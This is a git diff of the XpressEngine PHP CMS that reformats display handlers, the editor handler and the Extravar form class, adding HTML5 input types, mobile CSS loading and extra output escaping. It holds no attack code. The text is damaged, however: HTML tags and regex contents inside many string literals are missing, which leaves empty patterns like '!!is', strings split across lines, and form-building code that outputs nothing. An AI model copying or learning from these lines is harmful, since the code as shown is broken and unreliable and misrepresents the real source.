if(Context::get('module')!='admin' && strpos(Context::get('act'),'Admin') === false) + if($oModule->module_info->module == $oModule->module) { - if ($skin && is_string($skin)) + $skin = $oModule->origin_module_info->skin; + } + else + { + $skin = $oModule->module_config->skin; + } + + if(Context::get('module') != 'admin' && strpos(Context::get('act'), 'Admin') === false) + { + if($skin && is_string($skin)) { $theme_skin = explode('|@|', $skin); $template_path = $oModule->getTemplatePath(); - if (count($theme_skin) == 2) + if(count($theme_skin) == 2) { - $theme_path = sprintf('./themes/%s',$theme_skin[0]); - if(substr($theme_path,0,strlen($theme_path)) != $theme_path) + $theme_path = sprintf('./themes/%s', $theme_skin[0]); + if(substr($theme_path, 0, strlen($theme_path)) != $theme_path) { $template_path = sprintf('%s/modules/%s/', $theme_path, $theme_skin[1]); } - } + } } else { $template_path = $oModule->getTemplatePath(); } } - else + else { $template_path = $oModule->getTemplatePath(); } @@ -53,11 +59,19 @@ class HTMLDisplayHandler { $output = $oTemplate->compile($template_path, $tpl_file); // add .x div for adminitration pages - if(Context::getResponseMethod() == 'HTML') { - if(Context::get('module')!='admin' && strpos(Context::get('act'),'Admin')>0) $output = '
    '.$output.'
    '; - - if(Context::get('layout') != 'none') { - if(__DEBUG__==3) $start = getMicroTime(); + if(Context::getResponseMethod() == 'HTML') + { + if(Context::get('module') != 'admin' && strpos(Context::get('act'), 'Admin') > 0) + { + $output = '
    ' . $output . '
    '; + } + + if(Context::get('layout') != 'none') + { + if(__DEBUG__ == 3) + { + $start = getMicroTime(); + } Context::set('content', $output, false); @@ -67,15 +81,17 @@ class HTMLDisplayHandler { $edited_layout_file = $oModule->getEditedLayoutFile(); // get the layout information currently requested - $oLayoutModel = &getModel('layout'); + $oLayoutModel = getModel('layout'); $layout_info = Context::get('layout_info'); $layout_srl = $layout_info->layout_srl; // compile if connected to the layout - if($layout_srl > 0){ + if($layout_srl > 0) + { // handle separately if the layout is faceoff - if($layout_info && $layout_info->type == 'faceoff') { + if($layout_info && $layout_info->type == 'faceoff') + { $oLayoutModel->doActivateFaceOff($layout_info); Context::set('layout_info', $layout_info); } @@ -83,15 +99,43 @@ class HTMLDisplayHandler { // search if the changes CSS exists in the admin layout edit window $edited_layout_css = $oLayoutModel->getUserLayoutCss($layout_srl); - if(file_exists($edited_layout_css)) Context::loadFile(array($edited_layout_css,'all','',100)); + if(file_exists($edited_layout_css)) + { + Context::loadFile(array($edited_layout_css, 'all', '', 100)); + } + } + if(!$layout_path) + { + $layout_path = './common/tpl'; + } + if(!$layout_file) + { + $layout_file = 'default_layout'; } - if(!$layout_path) $layout_path = './common/tpl'; - if(!$layout_file) $layout_file = 'default_layout'; $output = $oTemplate->compile($layout_path, $layout_file, $edited_layout_file); - if(__DEBUG__==3) $GLOBALS['__layout_compile_elapsed__'] = getMicroTime()-$start; + // if popup_layout, remove admin bar. + $realLayoutPath = FileHandler::getRealPath($layout_path); + if(substr($realLayoutPath, -1) != '/') + { + $realLayoutPath .= '/'; + } - if(preg_match('/MSIE/i',$_SERVER['HTTP_USER_AGENT']) && (Context::get('_use_ssl') == 'optional' || Context::get('_use_ssl') == 'always')) { + $pathInfo = pathinfo($layout_file); + $onlyLayoutFile = $pathInfo['filename']; + + if($realLayoutPath === _XE_PATH_ . 'common/tpl/' && $onlyLayoutFile === 'popup_layout') + { + Context::set('admin_bar', 'false'); + } + + if(__DEBUG__ == 3) + { + $GLOBALS['__layout_compile_elapsed__'] = getMicroTime() - $start; + } + + if(preg_match('/MSIE/i', $_SERVER['HTTP_USER_AGENT']) && (Context::get('_use_ssl') == 'optional' || Context::get('_use_ssl') == 'always')) + { Context::addHtmlFooter(''); } } @@ -103,34 +147,46 @@ class HTMLDisplayHandler { * when display mode is HTML, prepare code before print. * @param string $output compiled template string * @return void - **/ - function prepareToPrint(&$output) { - if(Context::getResponseMethod() != 'HTML') return; + */ + function prepareToPrint(&$output) + { + if(Context::getResponseMethod() != 'HTML') + { + return; + } - if(__DEBUG__==3) $start = getMicroTime(); + if(__DEBUG__ == 3) + { + $start = getMicroTime(); + } // move in body to the header - $output = preg_replace_callback('!!is', array($this,'_moveStyleToHeader'), $output); + $output = preg_replace_callback('!(.*?)<\/style>!is', array($this, '_moveStyleToHeader'), $output); + + // move in body to the header + $output = preg_replace_callback('!!is', array($this, '_moveLinkToHeader'), $output); // move in body to the header - $output = preg_replace_callback('!!is', array($this,'_moveMetaToHeader'), $output); + $output = preg_replace_callback('!!is', array($this, '_moveMetaToHeader'), $output); // change a meta fine(widget often put the tag like to the content because of caching) - $output = preg_replace_callback('//is', array($this,'_transMeta'), $output); + $output = preg_replace_callback('//is', array($this, '_transMeta'), $output); // handles a relative path generated by using the rewrite module - if(Context::isAllowRewrite()) { + if(Context::isAllowRewrite()) + { $url = parse_url(Context::getRequestUri()); $real_path = $url['path']; $pattern = '/src=("|\'){1}(\.\/)?(files\/attach|files\/cache|files\/faceOff|files\/member_extra_info|modules|common|widgets|widgetstyle|layouts|addons)\/([^"\']+)\.(jpg|jpeg|png|gif)("|\'){1}/s'; - $output = preg_replace($pattern, 'src=$1'.$real_path.'$3/$4.$5$6', $output); + $output = preg_replace($pattern, 'src=$1' . $real_path . '$3/$4.$5$6', $output); $pattern = '/href=("|\'){1}(\?[^"\']+)/s'; - $output = preg_replace($pattern, 'href=$1'.$real_path.'$2', $output); + $output = preg_replace($pattern, 'href=$1' . $real_path . '$2', $output); - if(Context::get('vid')) { - $pattern = '/\/'.Context::get('vid').'\?([^=]+)=/is'; + if(Context::get('vid')) + { + $pattern = '/\/' . Context::get('vid') . '\?([^=]+)=/is'; $output = preg_replace($pattern, '/?$1=', $output); } } @@ -142,20 +198,23 @@ class HTMLDisplayHandler { { $INPUT_ERROR = Context::get('INPUT_ERROR'); $keys = array_keys($INPUT_ERROR); - $keys = '('.implode('|', $keys).')'; + $keys = '(' . implode('|', $keys) . ')'; - $output = preg_replace_callback('@(]*?)\sname="'.$keys.'"([^>]*?)/?>@is', array(&$this, '_preserveValue'), $output); - $output = preg_replace_callback('@]*\sname="'.$keys.'".+@isU', array(&$this, '_preserveSelectValue'), $output); - $output = preg_replace_callback('@]*\sname="'.$keys.'".+@isU', array(&$this, '_preserveTextAreaValue'), $output); + $output = preg_replace_callback('@(]*?)\sname="' . $keys . '"([^>]*?)/?>@is', array(&$this, '_preserveValue'), $output); + $output = preg_replace_callback('@]*\sname="' . $keys . '".+@isU', array(&$this, '_preserveSelectValue'), $output); + $output = preg_replace_callback('@]*\sname="' . $keys . '".+@isU', array(&$this, '_preserveTextAreaValue'), $output); } - if(__DEBUG__==3) $GLOBALS['__trans_content_elapsed__'] = getMicroTime()-$start; + if(__DEBUG__ == 3) + { + $GLOBALS['__trans_content_elapsed__'] = getMicroTime() - $start; + } // Remove unnecessary information - $output = preg_replace('/member\_\-([0-9]+)/s','member_0',$output); + $output = preg_replace('/member\_\-([0-9]+)/s', 'member_0', $output); // set icon - $oAdminModel = &getAdminModel('admin'); + $oAdminModel = getAdminModel('admin'); $favicon_url = $oAdminModel->getFaviconUrl(); $mobicon_url = $oAdminModel->getMobileIconUrl(); Context::set('favicon_url', $favicon_url); @@ -163,19 +222,20 @@ class HTMLDisplayHandler { // convert the final layout Context::set('content', $output); - $oTemplate = &TemplateHandler::getInstance(); - if(Mobile::isFromMobilePhone()) { + $oTemplate = TemplateHandler::getInstance(); + if(Mobile::isFromMobilePhone()) + { + $this->_loadMobileJSCSS(); $output = $oTemplate->compile('./common/tpl', 'mobile_layout'); } else { $this->_loadJSCSS(); - $this->_addMetaTag(); $output = $oTemplate->compile('./common/tpl', 'common_layout'); } // replace the user-defined-language - $oModuleController = &getController('module'); + $oModuleController = getController('module'); $oModuleController->replaceDefinedLangCode($output); } @@ -183,21 +243,39 @@ class HTMLDisplayHandler { * when display mode is HTML, prepare code before print about tag value. * @param array $match input value. * @return string input value. - **/ + */ function _preserveValue($match) { $INPUT_ERROR = Context::get('INPUT_ERROR'); - $str = $match[1].$match[2].' name="'.$match[3].'"'.$match[4]; + $str = $match[1] . $match[2] . ' name="' . $match[3] . '"' . $match[4]; // get type $type = 'text'; - if(preg_match('/\stype="([a-z]+)"/i', $str, $m)) $type = strtolower($m[1]); + if(preg_match('/\stype="([a-z]+)"/i', $str, $m)) + { + $type = strtolower($m[1]); + } - switch($type){ + switch($type) + { case 'text': case 'hidden': - $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str).' value="'.@htmlspecialchars($INPUT_ERROR[$match[3]]).'"'; + case 'email': + case 'search': + case 'tel': + case 'url': + case 'email': + case 'datetime': + case 'date': + case 'month': + case 'week': + case 'time': + case 'datetime-local': + case 'number': + case 'range': + case 'color': + $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str) . ' value="' . @htmlspecialchars($INPUT_ERROR[$match[3]]) . '"'; break; case 'password': $str = preg_replace('@\svalue="[^"]*?"@', ' ', $str); @@ -205,20 +283,21 @@ class HTMLDisplayHandler { case 'radio': case 'checkbox': $str = preg_replace('@\schecked(="[^"]*?")?@', ' ', $str); - if(@preg_match('@\s(?i:value)="'.$INPUT_ERROR[$match[3]].'"@', $str)) { + if(@preg_match('@\s(?i:value)="' . $INPUT_ERROR[$match[3]] . '"@', $str)) + { $str .= ' checked="checked"'; } break; } - return $str.' />'; + return $str . ' />'; } /** * when display mode is HTML, prepare code before print about '; + return $mm[0] . implode('', $m[0]) . ''; } /** * when display mode is HTML, prepare code before print about '; + return $mm[0] . $INPUT_ERROR[$matches[1]] . ''; } /** @@ -255,8 +334,24 @@ class HTMLDisplayHandler { * printed inside
    later. * @param array $matches * @return void - **/ - function _moveStyleToHeader($matches) { + */ + function _moveStyleToHeader($matches) + { + if(isset($matches[1]) && stristr($matches[1], 'scoped')) + { + return $matches[0]; + } + Context::addHtmlHeader($matches[0]); + } + + /** + * add html link code extracted from html body to Context, which will be + * printed inside
    later. + * @param array $matches + * @return void + */ + function _moveLinkToHeader($matches) + { Context::addHtmlHeader($matches[0]); } @@ -265,8 +360,9 @@ class HTMLDisplayHandler { * printed inside
    later. * @param array $matches * @return void - **/ - function _moveMetaToHeader($matches) { + */ + function _moveMetaToHeader($matches) + { Context::addHtmlHeader($matches[0]); } @@ -274,59 +370,89 @@ class HTMLDisplayHandler { * add given .css or .js file names in widget code to Context * @param array $matches * @return void - **/ - function _transMeta($matches) { - if($matches[1]) return ''; + */ + function _transMeta($matches) + { + if($matches[1]) + { + return ''; + } Context::loadFile($matches[2]); } /** * import basic .js files. * @return void - **/ + */ function _loadJSCSS() { - $oContext =& Context::getInstance(); - $lang_type = Context::getLangType(); + $oContext = Context::getInstance(); + $lang_type = Context::getLangType(); // add common JS/CSS files - if(__DEBUG__) { + if(__DEBUG__) + { $oContext->loadFile(array('./common/js/jquery.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/x.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/common.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/js_app.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xml_handler.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xml_js_filter.js', 'head', '', -100000), true); - $oContext->loadFile(array('./common/css/xe.css', 'all', '', -100000), true); - } else { + $oContext->loadFile(array('./common/css/xe.css', '', '', -1000000), true); + } + else + { $oContext->loadFile(array('./common/js/jquery.min.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/x.min.js', 'head', '', -100000), true); $oContext->loadFile(array('./common/js/xe.min.js', 'head', '', -100000), true); - $oContext->loadFile(array('./common/css/xe.min.css', 'all', '', -100000), true); + $oContext->loadFile(array('./common/css/xe.min.css', '', '', -1000000), true); } // for admin page, add admin css - if(Context::get('module')=='admin' || strpos(Context::get('act'),'Admin')>0){ - if(__DEBUG__) { - $oContext->loadFile(array('./modules/admin/tpl/css/admin.css', 'all', '', 100000), true); - $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", 'all', '', 100000), true); + if(Context::get('module') == 'admin' || strpos(Context::get('act'), 'Admin') > 0) + { + if(__DEBUG__) + { + $oContext->loadFile(array('./modules/admin/tpl/css/admin.css', '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin.iefix.css", '', 'ie', 10), true); $oContext->loadFile('./modules/admin/tpl/js/admin.js', true); - } else { - $oContext->loadFile(array('./modules/admin/tpl/css/admin.min.css', 'all', '', 100000), true); - $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", 'all', '',10000), true); + $oContext->loadFile(array('./modules/admin/tpl/css/admin.bootstrap.css', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.tmpl.js', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.jstree.js', '', '', 1), true); + } + else + { + $oContext->loadFile(array('./modules/admin/tpl/css/admin.min.css', '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin_{$lang_type}.css", '', '', 10), true); + $oContext->loadFile(array("./modules/admin/tpl/css/admin.iefix.min.css", '', 'ie', 10), true); $oContext->loadFile('./modules/admin/tpl/js/admin.min.js', true); + $oContext->loadFile(array('./modules/admin/tpl/css/admin.bootstrap.min.css', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.tmpl.js', '', '', 1), true); + $oContext->loadFile(array('./modules/admin/tpl/js/jquery.jstree.js', '', '', 1), true); } } } /** - * add meta tag. - * @return void - **/ - function _addMetaTag() + * import basic .js files for mobile + */ + private function _loadMobileJSCSS() { - $oContext =& Context::getInstance(); - $oContext->addMetaTag('Content-Type', 'text/html; charset=UTF-8', true); - $oContext->addMetaTag('imagetoolbar', 'no'); + $oContext = Context::getInstance(); + $lang_type = Context::getLangType(); + + // add common JS/CSS files + if(__DEBUG__) + { + $oContext->loadFile(array('./common/css/mobile.css', '', '', -1000000), true); + } + else + { + $oContext->loadFile(array('./common/css/mobile.min.css', '', '', -1000000), true); + } } + } +/* End of file HTMLDisplayHandler.class.php */ +/* Location: ./classes/display/HTMLDisplayHandler.class.php */ diff --git a/classes/display/JSCallbackDisplayHandler.php b/classes/display/JSCallbackDisplayHandler.php new file mode 100644 index 000000000..e72d1a91c --- /dev/null +++ b/classes/display/JSCallbackDisplayHandler.php @@ -0,0 +1,23 @@ +getVariables(); + $variables['error'] = $oModule->getError(); + $variables['message'] = $oModule->getMessage(); + $json = str_replace(array("\r\n", "\n", "\t"), array('\n', '\n', '\t'), json_encode2($variables)); + $output = sprintf('', Context::getJSCallbackFunc(), $json); + return $output; + } + +} +/* End of file JSCallback.class.php */ +/* Location: ./classes/display/JSCallback.class.php */ diff --git a/classes/display/JSONDisplayHandler.php b/classes/display/JSONDisplayHandler.php index 34219180b..0a35c09cf 100644 --- a/classes/display/JSONDisplayHandler.php +++ b/classes/display/JSONDisplayHandler.php @@ -1,17 +1,22 @@ getVariables(); $variables['error'] = $oModule->getError(); $variables['message'] = $oModule->getMessage(); - $json = str_replace(array("\r\n","\n","\t"),array('\n','\n','\t'),json_encode2($variables)); + $json = str_replace(array("\r\n", "\n", "\t"), array('\n', '\n', '\t'), json_encode2($variables)); return $json; } + } +/* End of file JSONDisplayHandler.class.php */ +/* Location: ./classes/display/JSONDisplayHandler.class.php */ diff --git a/classes/display/VirtualXMLDisplayHandler.php b/classes/display/VirtualXMLDisplayHandler.php index 40ae0ae5a..d43bbe6b8 100644 --- a/classes/display/VirtualXMLDisplayHandler.php +++ b/classes/display/VirtualXMLDisplayHandler.php @@ -1,12 +1,13 @@ getError(); @@ -14,25 +15,49 @@ class VirtualXMLDisplayHandler { $redirect_url = $oModule->get('redirect_url'); $request_uri = Context::get('xeRequestURI'); $request_url = Context::get('xeVirtualRequestUrl'); - if(substr($request_url,-1)!='/') $request_url .= '/'; - - if($error === 0) { - if($message != 'success') $output->message = $message; - if($redirect_url) $output->url = $redirect_url; - else $output->url = $request_uri; - } else { - if($message != 'fail') $output->message = $message; + if(substr($request_url, -1) != '/') + { + $request_url .= '/'; } - $html = ''."\n"; + else + { + if($message != 'fail') + { + $output->message = $message; + } + } + + $html = '' . "\n"; return $html; } -} -?> +} +/* End of file VirtualXMLDisplayHandler.class.php */ +/* Location: ./classes/display/VirtualXMLDisplayHandler.class.php */ diff --git a/classes/display/XMLDisplayHandler.php b/classes/display/XMLDisplayHandler.php index f51364510..946d77981 100644 --- a/classes/display/XMLDisplayHandler.php +++ b/classes/display/XMLDisplayHandler.php @@ -1,18 +1,20 @@ getVariables(); - $xmlDoc = "\n\n"; - $xmlDoc .= sprintf("%s\n",$oModule->getError()); - $xmlDoc .= sprintf("%s\n",str_replace(array('<','>','&'),array('<','>','&'),$oModule->getMessage())); + $xmlDoc = "\n\n"; + $xmlDoc .= sprintf("%s\n", $oModule->getError()); + $xmlDoc .= sprintf("%s\n", str_replace(array('<', '>', '&'), array('<', '>', '&'), $oModule->getMessage())); $xmlDoc .= $this->_makeXmlDoc($variables); @@ -25,22 +27,40 @@ class XMLDisplayHandler { * produce XML code given variable object\n * @param object $obj * @return string - **/ - function _makeXmlDoc($obj) { - if(!count($obj)) return; + */ + function _makeXmlDoc($obj) + { + if(!count($obj)) + { + return; + } $xmlDoc = ''; - foreach($obj as $key => $val) { - if(is_numeric($key)) $key = 'item'; + foreach($obj as $key => $val) + { + if(is_numeric($key)) + { + $key = 'item'; + } - if(is_string($val)) $xmlDoc .= sprintf('<%s>%s', $key, $val, $key,"\n"); - else if(!is_array($val) && !is_object($val)) $xmlDoc .= sprintf('<%s>%s%s', $key, $val, $key,"\n"); - else $xmlDoc .= sprintf('<%s>%s%s%s',$key, "\n", $this->_makeXmlDoc($val), $key, "\n"); + if(is_string($val)) + { + $xmlDoc .= sprintf('<%s>%s', $key, $val, $key, "\n"); + } + else if(!is_array($val) && !is_object($val)) + { + $xmlDoc .= sprintf('<%s>%s%s', $key, $val, $key, "\n"); + } + else + { + $xmlDoc .= sprintf('<%s>%s%s%s', $key, "\n", $this->_makeXmlDoc($val), $key, "\n"); + } } return $xmlDoc; } -} -?> +} +/* End of file XMLDisplayHandler.class.php */ +/* Location: ./classes/display/XMLDisplayHandler.class.php */ diff --git a/classes/editor/EditorHandler.class.php b/classes/editor/EditorHandler.class.php index 31fea007c..0920ccd2c 100644 --- a/classes/editor/EditorHandler.class.php +++ b/classes/editor/EditorHandler.class.php @@ -1,29 +1,35 @@ extra_vars) return; + if(!$info->extra_vars) + { + return; + } - foreach($info->extra_vars as $key => $val) { - $this->{$key} = trim($val->value); - } - } + foreach($info->extra_vars as $key => $val) + { + $this->{$key} = trim($val->value); + } + } - } - -?> +} +/* End of file EditorHandler.class.php */ +/* Location: ./classes/editor/EditorHandler.class.php */ diff --git a/classes/extravar/Extravar.class.php b/classes/extravar/Extravar.class.php index 364b9d56b..ca92f705c 100644 --- a/classes/extravar/Extravar.class.php +++ b/classes/extravar/Extravar.class.php @@ -1,397 +1,510 @@ module_srl = $module_srl; - } - - /** - * Register a key of extra variable - * - * @param object[] $extra_keys Array of extra variable. A value of array is object that contains module_srl, idx, name, default, desc, is_required, search, value, eid. - * @return void - **/ - function setExtraVarKeys($extra_keys) { - if(!is_array($extra_keys) || !count($extra_keys)) return; - foreach($extra_keys as $key => $val) { - $obj = null; - $obj = new ExtraItem($val->module_srl, $val->idx, $val->name, $val->type, $val->default, $val->desc, $val->is_required, $val->search, $val->value, $val->eid); - $this->keys[$val->idx] = $obj; - } - } - - /** - * Returns an array of ExtraItem - * - * @return ExtraItem[] - **/ - function getExtraVars() { - return $this->keys; - } - } - - /** - * Each value of the extra vars + /** + * Constructor * - * @author NHN (developers@xpressengine.com) - **/ - class ExtraItem { - /** - * Sequence of module - * @var int - */ - var $module_srl = 0; + * @param int $module_srl Sequence of module + * @return void + */ + function ExtraVar($module_srl) + { + $this->module_srl = $module_srl; + } - /** - * Index of extra variable - * @var int - */ - var $idx = 0; + /** + * Register a key of extra variable + * + * @param object[] $extra_keys Array of extra variable. A value of array is object that contains module_srl, idx, name, default, desc, is_required, search, value, eid. + * @return void + */ + function setExtraVarKeys($extra_keys) + { + if(!is_array($extra_keys) || !count($extra_keys)) + { + return; + } - /** - * Name of extra variable - * @var string - */ - var $name = 0; + foreach($extra_keys as $key => $val) + { + $obj = null; + $obj = new ExtraItem($val->module_srl, $val->idx, $val->name, $val->type, $val->default, $val->desc, $val->is_required, $val->search, $val->value, $val->eid); + $this->keys[$val->idx] = $obj; + } + } - /** - * Type of extra variable - * @var string text, homepage, email_address, tel, textarea, checkbox, date, select, radio, kr_zip - */ - var $type = 'text'; + /** + * Returns an array of ExtraItem + * + * @return ExtraItem[] + */ + function getExtraVars() + { + return $this->keys; + } - /** - * Default values - * @var string[] - */ - var $default = null; +} - /** - * Description - * @var string - */ - var $desc = ''; +/** + * Each value of the extra vars + * + * @author NHN (developers@xpressengine.com) + */ +class ExtraItem +{ - /** - * Whether required or not requred this extra variable - * @var string Y, N - */ - var $is_required = 'N'; + /** + * Sequence of module + * @var int + */ + var $module_srl = 0; - /** - * Whether can or can not search this extra variable - * @var string Y, N - */ - var $search = 'N'; + /** + * Index of extra variable + * @var int + */ + var $idx = 0; - /** - * Value - * @var string - */ - var $value = null; + /** + * Name of extra variable + * @var string + */ + var $name = 0; - /** - * Unique id of extra variable in module - * @var string - */ - var $eid = ''; + /** + * Type of extra variable + * @var string text, homepage, email_address, tel, textarea, checkbox, date, select, radio, kr_zip + */ + var $type = 'text'; - /** - * Constructor - * - * @param int $module_srl Sequence of module - * @param int $idx Index of extra variable - * @param string $type Type of extra variable. text, homepage, email_address, tel, textarea, checkbox, date, sleect, radio, kr_zip - * @param string[] $default Default values - * @param string $desc Description - * @param string $is_required Whether required or not requred this extra variable. Y, N - * @param string $search Whether can or can not search this extra variable - * @param string $value Value - * @param string $eid Unique id of extra variable in module - * @return void - **/ - function ExtraItem($module_srl, $idx, $name, $type = 'text', $default = null, $desc = '', $is_required = 'N', $search = 'N', $value = null, $eid = '') { - if(!$idx) return; - $this->module_srl = $module_srl; - $this->idx = $idx; - $this->name = $name; - $this->type = $type; - $this->default = $default; - $this->desc = $desc; - $this->is_required = $is_required; - $this->search = $search; - $this->value = $value; - $this->eid = $eid; - } + /** + * Default values + * @var string[] + */ + var $default = null; - /** - * Sets Value - * - * @param string $value The value to set - * @return void - **/ - function setValue($value) { - $this->value = $value; - } + /** + * Description + * @var string + */ + var $desc = ''; - /** - * Returns a given value converted based on its type - * - * @param string $type Type of variable - * @param string $value Value - * @return string Returns a converted value - **/ - function _getTypeValue($type, $value) { - $value = trim($value); - if(!isset($value)) return; - switch($type) { - case 'homepage' : - if($value && !preg_match('/^([a-z]+):\/\//i',$value)) $value = 'http://'.$value; - return htmlspecialchars($value); - break; - case 'tel' : - if(is_array($value)) $values = $value; - elseif(strpos($value,'|@|')!==false) $values = explode('|@|', $value); - elseif(strpos($value,',')!==false) $values = explode(',', $value); - $values[0] = $values[0]; - $values[1] = $values[1]; - $values[2] = $values[2]; - return $values; - break; - break; - case 'checkbox' : - case 'radio' : - case 'select' : - if(is_array($value)) $values = $value; - elseif(strpos($value,'|@|')!==false) $values = explode('|@|', $value); - elseif(strpos($value,',')!==false) $values = explode(',', $value); - else $values = array($value); - for($i=0;$i_getTypeValue($this->type, $this->value); - switch($this->type) { - case 'homepage' : - return ($value)?(sprintf('%s', $value, strlen($value)>60?substr($value,0,40).'...'.substr($value,-10):$value)):""; - case 'email_address' : - return ($value)?sprintf('%s', $value, $value):""; - break; - case 'tel' : - return sprintf('%s - %s - %s', $value[0],$value[1],$value[2]); - break; - case 'textarea' : - return nl2br($value); - break; - case 'checkbox' : - if(is_array($value)) return implode(', ',$value); - else return $value; - break; - case 'date' : - return zdate($value,"Y-m-d"); - break; - case 'select' : - case 'radio' : - if(is_array($value)) return implode(', ',$value); - else return $value; - break; - case 'kr_zip' : - if(is_array($value)) return implode(' ',$value); - else return $value; - break; - // case 'text' : - default : - return $value; - } - } + /** + * Whether can or can not search this extra variable + * @var string Y, N + */ + var $search = 'N'; - /** - * Returns a form based on its type - * - * @return string Returns a form html. - **/ - function getFormHTML() { - static $id_num = 1000; + /** + * Value + * @var string + */ + var $value = null; - $type = $this->type; - $name = $this->name; - $value = $this->_getTypeValue($this->type, $this->value); - $default = $this->_getTypeValue($this->type, $this->default); - $column_name = 'extra_vars'.$this->idx; - $tmp_id = $column_name.'-'.$id_num++; + /** + * Unique id of extra variable in module + * @var string + */ + var $eid = ''; - $buff = ''; - switch($type) { - // Homepage - case 'homepage' : - $buff .= ''; - break; - // Email Address - case 'email_address' : - $buff .= ''; - break; - // Phone Number - case 'tel' : - $buff .= - ''. - ''. - ''; - break; + /** + * Constructor + * + * @param int $module_srl Sequence of module + * @param int $idx Index of extra variable + * @param string $type Type of extra variable. text, homepage, email_address, tel, textarea, checkbox, date, sleect, radio, kr_zip + * @param string[] $default Default values + * @param string $desc Description + * @param string $is_required Whether required or not requred this extra variable. Y, N + * @param string $search Whether can or can not search this extra variable + * @param string $value Value + * @param string $eid Unique id of extra variable in module + * @return void + */ + function ExtraItem($module_srl, $idx, $name, $type = 'text', $default = null, $desc = '', $is_required = 'N', $search = 'N', $value = null, $eid = '') + { + if(!$idx) + { + return; + } - // textarea - case 'textarea' : - $buff .= ''; - break; - // multiple choice - case 'checkbox' : - $buff .= '
      '; - foreach($default as $v) { - if($value && in_array(trim($v), $value)) $checked = ' checked="checked"'; - else $checked = ''; + $this->module_srl = $module_srl; + $this->idx = $idx; + $this->name = $name; + $this->type = $type; + $this->default = $default; + $this->desc = $desc; + $this->is_required = $is_required; + $this->search = $search; + $this->value = $value; + $this->eid = $eid; + } - // Temporary ID for labeling - $tmp_id = $column_name.'-'.$id_num++; + /** + * Sets Value + * + * @param string $value The value to set + * @return void + */ + function setValue($value) + { + $this->value = $value; + } - $buff .='
    • '; - } - $buff .= '
    '; - break; - // single choice - case 'select' : - $buff .= ''; - break; + /** + * Returns a given value converted based on its type + * + * @param string $type Type of variable + * @param string $value Value + * @return string Returns a converted value + */ + function _getTypeValue($type, $value) + { + $value = trim($value); + if(!isset($value)) + { + return; + } - // radio - case 'radio' : - $buff .= '
      '; - foreach($default as $v) { - if($value && in_array($v,$value)) $checked = ' checked="checked"'; - else $checked = ''; + switch($type) + { + case 'homepage' : + if($value && !preg_match('/^([a-z]+):\/\//i', $value)) + { + $value = 'http://' . $value; + } + return htmlspecialchars($value); - // Temporary ID for labeling - $tmp_id = $column_name.'-'.$id_num++; + case 'tel' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== FALSE) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== FALSE) + { + $values = explode(',', $value); + } - $buff .= '
    • '; - } - $buff .= '
    '; - break; - // date - case 'date' : - // datepicker javascript plugin load - Context::loadJavascriptPlugin('ui.datepicker'); + $values[0] = $values[0]; + $values[1] = $values[1]; + $values[2] = $values[2]; + return $values; - $buff .= - ''. - ' '."\n". - ''; - break; - // address - case "kr_zip" : - // krzip address javascript plugin load - Context::loadJavascriptPlugin('ui.krzip'); + case 'checkbox' : + case 'radio' : + case 'select' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== FALSE) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== FALSE) + { + $values = explode(',', $value); + } + else + { + $values = array($value); + } - $buff .= - ''. + for($i = 0; $i < count($values); $i++) + { + $values[$i] = htmlspecialchars($values[$i]); + } - ''. + return $values; - ''. + case 'kr_zip' : + if(is_array($value)) + { + $values = $value; + } + elseif(strpos($value, '|@|') !== false) + { + $values = explode('|@|', $value); + } + elseif(strpos($value, ',') !== false) + { + $values = explode(',', $value); + } + else + { + $values = array($value); + } - ''. - ''; - break; - // General text - default : - $buff .=' '; - break; - } - if($this->desc) $buff .= '

    '.$this->desc.'

    '; - return $buff; - } - } -?> + return $values; + + //case 'date' : + //case 'email_address' : + //case 'text' : + //case 'textarea' : + default : + return htmlspecialchars($value); + } + } + + /** + * Returns a value for HTML + * + * @return string Returns a value expressed in HTML. + */ + function getValueHTML() + { + $value = $this->_getTypeValue($this->type, $this->value); + + switch($this->type) + { + case 'homepage' : + return ($value) ? (sprintf('%s', $value, strlen($value) > 60 ? substr($value, 0, 40) . '...' . substr($value, -10) : $value)) : ""; + + case 'email_address' : + return ($value) ? sprintf('%s', $value, $value) : ""; + + case 'tel' : + return sprintf('%s - %s - %s', $value[0], $value[1], $value[2]); + + case 'textarea' : + return nl2br($value); + + case 'checkbox' : + if(is_array($value)) + { + return implode(', ', $value); + } + else + { + return $value; + } + + case 'date' : + return zdate($value, "Y-m-d"); + + case 'select' : + case 'radio' : + if(is_array($value)) + { + return implode(', ', $value); + } + else + { + return $value; + } + + case 'kr_zip' : + if(is_array($value)) + { + return implode(' ', $value); + } + else + { + return $value; + } + + // case 'text' : + default : + return $value; + } + } + + /** + * Returns a form based on its type + * + * @return string Returns a form html. + */ + function getFormHTML() + { + static $id_num = 1000; + + $type = $this->type; + $name = $this->name; + $value = $this->_getTypeValue($this->type, $this->value); + $default = $this->_getTypeValue($this->type, $this->default); + $column_name = 'extra_vars' . $this->idx; + $tmp_id = $column_name . '-' . $id_num++; + + $buff = ''; + switch($type) + { + // Homepage + case 'homepage' : + $buff .= ''; + break; + // Email Address + case 'email_address' : + $buff .= ''; + break; + // Phone Number + case 'tel' : + $buff .= + '' . + '' . + ''; + break; + // textarea + case 'textarea' : + $buff .= ''; + break; + // multiple choice + case 'checkbox' : + $buff .= '
